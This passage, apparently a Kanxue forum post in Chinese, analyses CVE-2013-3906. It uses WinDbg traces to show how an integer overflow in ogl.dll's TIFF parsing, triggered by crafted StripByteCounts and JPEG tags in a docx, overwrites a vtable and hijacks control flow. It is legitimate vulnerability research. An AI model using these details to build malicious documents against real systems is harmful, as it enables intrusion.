对 0d12dcf8(dst+0x300) 处的地址下内存访问断点,可以看到命中OGL!GdipClonePath 内本文最前面的崩溃处前一句,此时虚表指针(eax)已被覆盖为 0x08080808,随后eip会被劫持到0x0808080c 处。

0:000> ba r4 0d12dcf8

0:000> g

Fri Apr 13 12:25:55.379 2018 (GMT+8): (edc.d8c): C++ EH exception - code e06d7363 (first chance)

Fri Apr 13 12:25:55.379 2018 (GMT+8): (edc.d8c): C++ EH exception - code e06d7363 (first chance)

Fri Apr 13 12:25:55.395 2018 (GMT+8): Breakpoint 2 hit

eax=08080808 ebx=002608a0 ecx=00260620 edx=00000000 esi=0d12dcf8 edi=0026070c

eip=67bbe174 esp=00260610 ebp=00260624 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200202

OGL!GdipClonePath+0x28:

67bbe174 8bce            mov    ecx,esi

0:000> u 67bbe174

OGL!GdipClonePath+0x28:

67bbe174 8bce            mov    ecx,esi

67bbe176 ff5004          call    dword ptr [eax+4]

67bbe179 85c0            test    eax,eax

67bbe17b 0f84beb11000    je      OGL!GdipPlayTSClientRecord+0x438 (67cc933f)

67bbe181 8d86dc000000    lea    eax,[esi+0DCh]

67bbe187 50              push    eax

67bbe188 8d4df4          lea    ecx,[ebp-0Ch]

67bbe18b e87374ffff      call    OGL!GdipCreateBitmapFromResource+0x74b (67bb5603)

0:000> p

eax=08080808 ebx=002608a0 ecx=0d12dcf8 edx=00000000 esi=0d12dcf8 edi=0026070c

eip=67bbe176 esp=00260610 ebp=00260624 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200202

OGL!GdipClonePath+0x2a:

67bbe176 ff5004          call    dword ptr [eax+4]    ds:0023:0808080c=????????


漏洞根本原因

通过进一步分析,样本为一个 Open XML docx 文档,里面嵌入了一张 tiff 格式的图片,winword.exe 在打开文档的时,会调用 ogl.dll 动态库解析 tiff 图片,导致了这个整数溢出漏洞。

tiff 是一种图像格式,它里面可以包含不同类型的图片格式,如下所示:

CVE-2013-3906漏洞分析_第8张图片

详细的结构如下:

CVE-2013-3906漏洞分析_第9张图片

tiff的tag分很多种,由一个具体的数字来标志当前tag的含义,这个漏洞中涉及到的tag及其对应的解释如下:

Compression(压缩标志字段)

Tag = 259 (103.H)

Type = SHORT

N = 1

This Field indicates the type of compression used. The new value is:

  6 = JPEG-------------------------------------------------------------------------------------JPEGInterchangeFormat(JPEG压缩数据头部)

Tag = 513 (201.H)

Type = LONG

N = 1

This Field indicates whether a JPEG interchange format bitstream is present in the

TIFF file. If a JPEG interchange format bitstream is present, then this Field points

to the Start of Image (SOI) marker code.

If this Field is zero or not present, a JPEG interchange format bitstream is not

present.-------------------------------------------------------------------------------------JPEGInterchangeFormatLength(JPEG压缩数据长度)

Tag = 514 (202.H)

Type = LONG

N = 1

This Field indicates the length in bytes of the JPEG interchange format bitstream.

This Field is useful for extracting the JPEG interchange format bitstream without

parsing the bitstream.

This Field is relevant only if the JPEGInterchangeFormat Field is present and is

non-zero.-------------------------------------------------------------------------------------StripOffsets(压缩条目偏移数组)

Tag = 273 (111.H)

Type = SHORT or LONG

For each strip, the byte offset of that strip.-------------------------------------------------------------------------------------StripByteCounts(压缩条目大小数组)

Tag = 279 (117.H)

Type = SHORT or LONG

For each strip, the number of bytes in that strip after any compression.

010 editor 自带一个tiff的解析模板:TIFTemplate.bt,用它可以清晰地看到tiff文件的布局:

CVE-2013-3906漏洞分析_第10张图片

在 cve_2013_3906_func 中,传入了一个大小为0x16c(第1参数)的对象,同时还传入了从JPEGInterchangeFormat Tag 中读入的数据(第2参数)和从 JPEGInterchangeFormatLength Tag 中读入的数据大小(第3参数)

0:000> dps 2b29ee90 l16c/4

2b29ee90  2cd5efe0

2b29ee94  00000000

2b29ee98  2b2a0565

2b29ee9c  2b2a0565

2b29eea0  00000000

2b29eea4  00004a9a

2b29eea8  677915f8 OGL!GdipCreateEffect+0x44b0

2b29eeac  67791626 OGL!GdipCreateEffect+0x44de

2b29eeb0  67791654 OGL!GdipCreateEffect+0x450c

...

2b29ef30  2a884ef0 // +0xa0 StripByteCounts.value[0]...

2b29ef7c  00000044 // +0xec StripByteCounts.count...

2b29eff0  00000000 // +0x160 AllocLen2b29eff4  00000000 // +0x164 AllocAddr2b29eff8  00000000

紧接着从对象的+0xec处获取StripByteCounts.count

再从对象的+0xa0处获取StripByteCounts.value[0]

然后在一个while循环对所有 0x44个value[x] 进行累加得到一个累计值

CVE-2013-3906漏洞分析_第11张图片

最后AllocLen = 累计值 + StripByteCounts.count*2 + JPEGInterchangeFormatLength + 8

整个计算过程的代码如下:

CVE-2013-3906漏洞分析_第12张图片

整个公式可描述如下:

ogl.dll没有对这个公式计算得到的长度做基本的数据校验,导致整数溢出。后面在解析特定对象(维一零在文章中说这个对象叫做GraphicsPath,但我调试时没有拿到符号,只能根据校验的Tag断定这是一个类似的结构。

此外,我看到《masTIFF - An in depth analysis of CVE-2013-3906.pptx》这篇文章的dps命令显示日志中有符号,暂不清楚作者是如何得到的)时,原本会调用该对象的一个虚函数进行Tag校验,但此时虚表的地址已被覆盖,从而劫持控制流到任意地方。这个漏洞的所有要点在 维一零的文章里已经写得很清晰了,本文只是对我自己有疑惑的一些地方进行了调试补充。

参考链接

《CVE-2013-3906(ms13-096)漏洞分析与利用》

《An Analyze Of CVE-2013-3906》

《masTIFF - An in depth analysis of CVE-2013-3906.pptx》

《tiff6.pdf》

《TIFF "Tag Image File Format"》

《关于CVE-2013-3906的八卦》

更多干货,请关注看雪学院 公众号ikanxue!

本文由看雪论坛 银雁冰 原创 转载请注明来自看雪社区

你可能感兴趣的:(CVE-2013-3906漏洞分析)